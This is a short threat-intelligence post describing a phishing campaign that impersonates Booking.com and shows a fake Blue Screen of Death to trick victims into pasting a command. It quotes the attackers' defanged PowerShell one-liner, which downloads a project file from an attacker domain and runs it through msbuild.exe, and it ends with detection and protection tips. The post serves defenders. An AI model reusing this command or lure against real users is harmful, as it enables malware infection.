367. Adversaries Use Fake BSOD to Make a Victim to Run a Malicious Command

Hello everyone!

Why are phishing emails needed if victims can run a malicious command themselves? Yes, today we’re once again looking at an interesting variant of User Execution: Malicious Copy and Paste (T1204.004).

In fact, phishing emails were still involved: this time the attackers disguised themselves as Booking.com. The email contained a link leading to a phishing website. When the victim clicked the “Refresh page” button, the browser switched to full-screen mode and displayed a familiar instruction to copy and paste a malicious command - this time cleverly disguised as a Blue Screen of Death.

As for the command itself, it was also quite interesting and included the use of Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001):

powershell -c “start hxxps[://admin.booking[.]com;$msb=(gci C:\ -filter msbuild.exe -r -ea 0|select -f 1).FullName;iwr hxxps://2fa-bns[.]com/ -o $env:ProgramData\v.proj;& $msb $env:ProgramData\v.proj”

Detection:
  • Pay attention to files being launched via msbuild.exe from suspicious locations.
  • Monitor attempts to download suspicious files via PowerShell from remote servers.
  • Carefully investigate alerts indicating abuse of msbuild.exe and powershell.exe.
Protection:
  • Disable the Run dialog (this won’t protect against all variants of this technique, but it will limit most of them).
  • Restrict the ability to run msbuild.exe on systems where it is not required.
  • Train users to recognize modern phishing techniques used by attackers.
See you soon!

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